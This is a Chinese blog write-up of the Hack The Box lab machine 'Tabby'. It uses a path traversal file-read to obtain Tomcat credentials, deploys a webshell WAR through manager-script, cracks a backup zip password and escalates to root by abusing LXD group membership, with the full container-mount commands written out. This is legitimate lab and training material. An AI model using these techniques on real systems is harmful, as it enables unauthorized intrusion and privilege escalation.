zoukankan      html  css  js  c++  java
  • Hack The Box——Tabby

    目录

    简介

    信息收集

    漏洞发现

    路径穿越漏洞

    文件读取漏洞

    漏洞利用

    Tomcat命令行部署webshell

    权限提升

    Zip文件密码破解

    移动到ash用户shell

    LXD权限滥用 

    总结


    简介

    这依旧是一个简单的靶机,通过80端口的web服务存在的文件读取漏洞获取到tomcat用户密码,利用manager-script角色的权限上传并部署webshell,然后在网站的files目录下发现备份文件,通过暴力枚举获得密码,接着利用该密码切换至ash用户,最后利用lxd组用户权限滥用提升至root权限。

    信息收集

    使用nmap快速扫描端口,发现仅开启22,80和8080端口,分别运行着OpenSSH8.2,Apache 2.4.41和Tomcat,如图:

    查看80端口web服务,发现一个邮件地址,如图:

    查看网页各功能按钮,点击NEWS和底部链接时页面跳转,如图:

    页面会跳转到同一地址,但无法正常解析,如图 

    然后将域名添加到hosts文件,再次访问,如图: 

    访问8080端口显示tomcat9默认页面,且在网站底部发现/etc/tomcat9/tomcat-users.xml。尝试使用常用弱口令登录管理页面未成功。

    漏洞发现

    从url中发现通过GET方法传递的参数file,尝试读取/etc/passwd测试是否存在文件包含漏洞,如图:

    路径穿越漏洞

    没有返回内容,尝试路径穿越,如图:

    成功读取到文件内容,说明存在路径穿越漏洞,但不确定是文件包含还是文件读取漏洞。整理/etc/passwd文件内容如下:

    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
    systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
    systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
    messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
    syslog:x:104:110::/home/syslog:/usr/sbin/nologin
    _apt:x:105:65534::/nonexistent:/usr/sbin/nologin
    tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
    uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
    tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
    landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
    pollinate:x:110:1::/var/cache/pollinate:/bin/false
    sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
    systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
    lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
    tomcat:x:997:997::/opt/tomcat:/bin/false
    mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false
    ash:x:1000:1000:clive:/home/ash:/bin/bash

    文件读取漏洞

    读取index.php发现返回html代码,但读取news.php时发现网站并未解析php代码,只是输出文件内容,且从代码中可以看出这仅仅是文件读取漏洞,如图:

    漏洞利用

    利用该漏洞读取/etc/tomcat9/tomcat-users.xml未获得用户密码,然后再本地安装tomcat9,搜索tomcat-users.xml文件路径,如图:

    使用第二个路径成功获得tomcat用户密码,如图:

    然后使用该密码登录manager/html,但是显示禁止访问,如图:

    但是host-manager可以登录,如图:

    Tomcat命令行部署webshell

    通过搜索发现Tomcat变体利用,但是无法利用成功。从tomcat-users.xml中发现tomcat用户没有manager-gui角色,因此无法登录manager/html页面,但是tomcat用户还具有manager-script角色,因此使用命令行执行命令成功,如图:

    然后使用zip nhpt.war cmdjsp.jsp制作war木马(cmdjsp.jsp为Kali Linux自带的webshell),接着使用curl结合PUT方法上传并部署木马,如图:

    查看webapp,如图:

    然后访问木马,如图:

    但是无法执行命令,可能是只支持Windows吧。然后使用msfvenom重新生成反弹shell的jsp木马,如图:

    目标主机没有安装python2,但是安装了python3,因此同样可以导入pty模块使用spawn方法启用交互式shell,如图: 

    权限提升

    查看网站目录,发现file目录下存在zip文件,如图:

    Zip文件密码破解

    解压需要密码,尝试使用john破解如图:

    然后提取网站单词做字典,如图:

    使用file命令查看文件发现使用zip1.0压缩,尝试1-10位纯数字密码破解,如图:

    使用rockyou字典进行破解,如图:

    移动到ash用户shell

    但是解压的文件没什么特别,尝试使用该密码利用ssh远程登录,如图:

    尝试使用su命令和改密码切换用户成功,如图:

    查看系统内核版本,如图:

    内核版本较高,暂未发现内核提权漏洞。查看具有root权限的SUID可执行文件,如图:

    没有可利用的文件,使用提权辅助脚本LinEnum.sh枚举,如图:

    LXD权限滥用 

    通过搜索引擎搜索发现Lxd权限提升,按照其利用步骤在Kali Linux分别执行:

    1. git clone  https://github.com/saghul/lxd-alpine-builder.git
    2. cd lxd-alpine-builder
    3. ./build-alpine

    执行之后如图(网络不好需要多执行几次):

    然后将tar.gz文件上传到目标主机,然后在目标主机执行:

    1. lxc image import ./alpine-v3.12-x86_64-20200714_0459.tar.gz --alias nhpt
    2. lxc init nhpt ignite -c security.privileged=true
    3. lxc config device add ignite nhpt disk source=/ path=/mnt/root recursive=true
    4. lxc start ignite
    5. lxc exec ignite /bin/sh

    先执行前两步导入到镜像,并初始化镜像到ignite容器,如图:

     第一次运行LXD需要执行lxd init进行初始化,然后再次初始化镜像nhpt到ignite容器,如图:

    然后执行最后三步,如图:

    此外还在GitHub发现另一种利用方法,https://github.com/initstring/lxd_root,但是需要有容器,因此需要在初始化镜像nhpt到ignite容器后执行漏洞利用程序,如图:

    总结

    虽然靶机简单,但是还是花了些时间,主要是从tomcat用户移动到ash用户时,看到备份文件仅仅时对网站的备份,觉得没什么意义就没有破解文件密码,在枚举了靶机所有文件仍然没有发现用户ash的密码,最后又回过头来破解压缩文件密码。个人觉得从备份文件的密码到ash用户shell的思路设计的不怎么好。

  • 相关阅读:
    装饰器函数(一)
    面向对象的初阶复习
    内置函数/反射/内置方法(单例类面)
    property特殊属性/类方法/静态方法
    多态/封装
    接口类抽象类
    初始继承之顺序/深度优先及广度优先
    类涉及的空间关系及组合(可变项地址面)
    <head></head>
    让IE6 IE7 IE8 IE9 IE10 IE11支持Bootstrap的解决方法
  • 原文地址:https://www.cnblogs.com/hzcya1995/p/13302338.html
Copyright © 2011-2022 走看看